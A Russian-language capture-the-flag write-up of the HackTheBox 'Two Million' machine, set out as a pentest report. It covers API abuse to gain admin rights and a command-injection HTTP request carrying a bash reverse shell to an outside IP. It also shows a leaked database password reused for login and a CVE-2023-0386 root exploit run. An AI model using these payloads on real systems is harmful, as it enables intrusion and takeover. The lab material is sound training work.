Two Million


Кто выполнил?: Тестирование выполнено: Кравцов Николай, начинающий специалист по информационной безопасности

Область тестирования

IP/домен Порт Сервис
localhost Port Scanner
localhost Web Directory Fuzzing
10.10.11.221 80 Web Server
localhost 8000 Downloads server
localhost decryption
localhost 1234 Reverse shell server
10.10.11.221 22 SSH

Порядок действий

1) Сканирование портов с помощью nmap.

  • Результаты:
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

2) Запуск kex для просмотра директорий

  • kex --win

    3) Запуск gobuster для поиска директорий

  • Результаты:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://2million.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404,301
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home                 (Status: 302) [Size: 0] [--> /]
/login                (Status: 200) [Size: 3704]
/register             (Status: 200) [Size: 4527]
/api                  (Status: 401) [Size: 0]
/logout               (Status: 302) [Size: 0] [--> /]
/404                  (Status: 200) [Size: 1674]
/0404                 (Status: 200) [Size: 1674]
/invite               (Status: 200) [Size: 3859]
Progress: 26249 / 220561 (11.90%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 26273 / 220561 (11.91%)
===============================================================
Finished
===============================================================

4) Заходим на веб сервер и смотрим на страницу

5) Нашел файл source22, в котором нашел эндпоинт /api/v1/invite/how/to/generate.

6) Написав в консоли и получив ключ, я пошел проверять эндпоинты.

  • Команды:
┌──(kolya080808㉿Nikolapc)-[~]
└─$ curl -X POST 2million.htb/api/v1/invite/how/to/generate
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
┌──(kolya080808㉿Nikolapc)-[~]
└─$ curl -X POST 2million.htb/api/v1/invite/generate
  • Результат:
{"0":200,"success":1,"data":{"code":"TE9PSTQtWkowN1ItVlJMWkItTTFFVkM=","format":"encoded"}}

7) При проверке /api/v1, я нашел страницу /api/v1/admin/settings/update, которая обновляет пользовательские настройки.

  • Результат:

    8) Меня заинтересовала строчка /api/v1/user/auth, с которой можно посмотреть, админ ли ты или нет.

    • Результат:

      9) Я попробовал сделать себя админом:

    • Попытки: 10) Попробуем по-другому:

    • Результат: Ура!

      11) Т. к. мы админы, мы можем попробовать получить reverse shell:

    • Команды:

    • Результат:

      12) Далее я посмотрел пользователей и увидел admin. Прочитав /html/.env, обнаружил это и поменял пользователя:

    • Результат:

www-data@2million:~/html$ ls -la
\ls -la
total 56
drwxr-xr-x 10 root root 4096 Nov  6 16:20 .
drwxr-xr-x  3 root root 4096 Jun  6  2023 ..
-rw-r--r--  1 root root   87 Jun  2  2023 .env
-rw-r--r--  1 root root 1237 Jun  2  2023 Database.php
-rw-r--r--  1 root root 2787 Jun  2  2023 Router.php
drwxr-xr-x  5 root root 4096 Nov  6 16:20 VPN
drwxr-xr-x  2 root root 4096 Jun  6  2023 assets
drwxr-xr-x  2 root root 4096 Jun  6  2023 controllers
drwxr-xr-x  5 root root 4096 Jun  6  2023 css
drwxr-xr-x  2 root root 4096 Jun  6  2023 fonts
drwxr-xr-x  2 root root 4096 Jun  6  2023 images
-rw-r--r--  1 root root 2692 Jun  2  2023 index.php
drwxr-xr-x  3 root root 4096 Jun  6  2023 js
drwxr-xr-x  2 root root 4096 Jun  6  2023 views
www-data@2million:~/html$ cat .e
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
www-data@2million:~/html$ su admin
su admin
Password: SuperDuperPass123

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:/var/www/html$

13) Чтобы было легче, поменял reverse shell на ssh:

  • Результат:
└─$ ssh admin@10.10.11.221
The authenticity of host '10.10.11.221 (10.10.11.221)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.221' (ED25519) to the list of known hosts.
admin@10.10.11.221's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Nov  6 04:30:07 PM UTC 2024

  System load:  0.0224609375      Processes:             264
  Usage of /:   88.1% of 4.82GB   Users logged in:       1
  Memory usage: 16%               IPv4 address for eth0: 10.10.11.221
  Swap usage:   0%

  => / is using 88.1% of 4.82GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have mail.
Last login: Wed Nov  6 15:34:28 2024 from 10.10.14.216
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:~$

14) Читаем флаг:

  • Результат:
admin@2million:~$ cat user
cat user.txt
b4deb861f6727786a61b22a28604963d

15) Я попытался прочесть /etc/shadow:

  • Результат:
admin@2million:~$ sudo -l
[sudo] password for admin:
Sorry, user admin may not run sudo on localhost.
admin@2million:~$ find / -perm -u=s -type f 2>/dev/null
/snap/snapd/19122/usr/lib/snapd/snap-confine
/snap/core20/1891/usr/bin/chfn
/snap/core20/1891/usr/bin/chsh
/snap/core20/1891/usr/bin/gpasswd
/snap/core20/1891/usr/bin/mount
/snap/core20/1891/usr/bin/newgrp
/snap/core20/1891/usr/bin/passwd
/snap/core20/1891/usr/bin/su
/snap/core20/1891/usr/bin/sudo
/snap/core20/1891/usr/bin/umount
/snap/core20/1891/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1891/usr/lib/openssh/ssh-keysign
/home/admin/CVE-2023-0386-master/ovlcap/lower/file
/home/admin/CVE-2023-0386-master/ovlcap/upper/file
/tmp/CVE-2023-0386-master/ovlcap/upper/file
/tmp/CVE-2023-0386/ovlcap/lower/file
/tmp/CVE-2023-0386/ovlcap/upper/file
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
admin@2million:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
admin:x:1000:1000::/home/admin:/bin/bash
memcache:x:115:121:Memcached,,,:/nonexistent:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
admin@2million:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied

16) Посмотрим, что нам выдаст linpeas (самое интересное):

  • Результат:
  • Вывод: то есть нас интересует уязвимость CVE-2023-0386.

    17) Действуя по инструкции в README.md все получилось:

  • Результат:

# Installation
```bash
make all

# How to use
Start two terminals and in the first one type
```bash
./fuse ./ovlcap/lower ./gc
In the second terminal type
```bash
./exp
admin@2million:~/CVE-2023-0386-master$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
mkdir: File exists
fuse: mountpoint is not empty
fuse: if you are sure this is safe, use the 'nonempty' mount option
fuse_mount: File exists
admin@2million:~$ cd CVE-2023-0386-master/
admin@2million:~/CVE-2023-0386-master$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Nov  6 16:42 .
drwxrwxr-x 6 root   root     4096 Nov  6 15:30 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:~/CVE-2023-0386-master# ls
exp  exp.c  fuse  fuse.c  gc  getshell.c  Makefile  ovlcap  README.md  test
root@2million:~/CVE-2023-0386-master# cd ~
root@2million:~# ls
CVE-2023-0386-master  linpeas.sh  linpeas_small.sh  master.zip  snap  user.txt
root@2million:~# cd /root
root@2million:/root# ls
root.txt  snap  thank_you.json
root@2million:/root# cat root.txt
230d57d3a18d7360d55b76815f7ad823
root@2million:/root#

18) Ну, и как без этого, читаем thank_you.json:

  • Результат:
root@2million:/root# cat thank_you.json
{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}


После декодирования:

Dear HackTheBox Community,

We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.

From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.

To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.

Here's to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.

With deepest gratitude,

Спасибо!: Спасибо админам hack the box за такую прекрасную комнату!

Найденные уязвимости

Information Disclosure

PoC:

CVSSv3 Score: 10.0 (Critical)

Описание:

Уязвимость связана с недостаточной защитой API, которая приводит к раскрытию конфиденциальной информации. В результате злоумышленник может получить доступ к критическим ресурсам системы, таким как invite код для регистрации. Через доступный API злоумышленник может с легкостью производить действия, которые должны быть ограничены и защищены.

Вопроизведение уязвимости:

┌──(kolya080808㉿Nikolapc)-[~]
└─$ curl -X POST 2million.htb/api/v1/invite/how/to/generate
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
┌──(kolya080808㉿Nikolapc)-[~]
└─$ curl -X POST 2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"TE9PSTQtWkowN1ItVlJMWkItTTFFVkM=","format":"encoded"}}
┌──(kolya080808㉿Nikolapc)-[~]
└─$ 

Рекомендации по устранению:

  • Защита API: Ограничьте доступ к API методам, связанным с генерацией и получением invite кодов. Разрешите доступ только авторизованным пользователям с соответствующими привилегиями.
  • Шифрование чувствительных данных: Используйте более безопасные методы шифрования данных. Избегайте использования простых шифровок, как ROT13, которые могут быть легко обратимы.

    Command Injection

PoC:

CVSSv3 Score: 7.2 (High)

Описание:

Внедрение команд — это атака, целью которой является выполнение произвольных команд в операционной системе хоста через уязвимое приложение. Атаки с помощью внедрения команд возможны, когда приложение передает небезопасные данные, предоставленные пользователем (формы, файлы cookie, HTTP-заголовки и т. д.) в системную оболочку. При этой атаке команды операционной системы, предоставленные злоумышленником, обычно выполняются с привилегиями уязвимого приложения. Атаки с внедрением команд возможны во многом из-за недостаточной проверки ввода.

Следующий PoC:

POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng, */*;q=0.8, application/signed-exchange; v=b3;q=0.7
Referer: http://2million.htb/home/access
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ces8ngtj vr3h7rncig6r9ee9uf
Connection: keep-alive
Content-Type: application/json Content-Length: 74
{
    "username": "kusdapoi[fjnadosj$ (bash -c 'sh -i >& /dev/tcp/10.10.16.27/1234 0>&1')"
}

Позволяет выполнять произвольные команды на сервере:

Рекомендации по устранению:

  • https://owasp.org/www-community/attacks/Command_Injection
  • Исправить Information Disclosure

CVE-2023-0386

PoC:

CVSSv3 Score: 10.0 (Critical)

Описание:

Уязвимость CVE-2023-0386 связана с повышением привилегий в операционной системе Linux, когда злоумышленник может воспользоваться неправильной конфигурацией системы или программного обеспечения, чтобы получить права суперпользователя (root). Эта уязвимость позволяет локальным пользователям повысить свои привилегии, используя неправильно настроенный компонент системы.

Следующий PoC:

admin@2million:~/CVE-2023-0386-master$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
mkdir: File exists
fuse: mountpoint is not empty
fuse: if you are sure this is safe, use the 'nonempty' mount option
fuse_mount: File exists
admin@2million:~$ cd CVE-2023-0386-master/
admin@2million:~/CVE-2023-0386-master$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Nov  6 16:42 .
drwxrwxr-x 6 root   root     4096 Nov  6 15:30 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:~/CVE-2023-0386-master# ls
exp  exp.c  fuse  fuse.c  gc  getshell.c  Makefile  ovlcap  README.md  test
root@2million:~/CVE-2023-0386-master# cd ~
root@2million:~# ls
CVE-2023-0386-master  linpeas.sh  linpeas_small.sh  master.zip  snap  user.txt
root@2million:~# cd /root
root@2million:/root# ls

Рекомендации по устранению

  • Обновление системы:

    • Установите последние обновления безопасности и патчи для операционной системы и соответствующих компонентов, чтобы устранить уязвимость CVE-2023-0386.
    • Регулярно проверяйте наличие обновлений и применяйте их своевременно.
  • Ограничение прав доступа:

    • Ограничьте права доступа к чувствительным файлам и системным компонентам.
    • Убедитесь, что только уполномоченные пользователи и процессы имеют доступ к критическим ресурсам.
  • Контроль доступа:

    • Внедрите строгие политики контроля доступа, чтобы предотвратить несанкционированное выполнение кода или доступ к привилегированным ресурсам.
    • Используйте механизмы SELinux или AppArmor для дополнительного контроля доступа и защиты системы.
  • Обучение персонала:

    • Проводите регулярное обучение сотрудников по вопросам безопасности и повышения осведомленности о возможных угрозах.
    • Обеспечьте, чтобы все пользователи знали о лучших практиках безопасности и соблюдали их.

      Видео выполнения:


Загрузки

Download files archive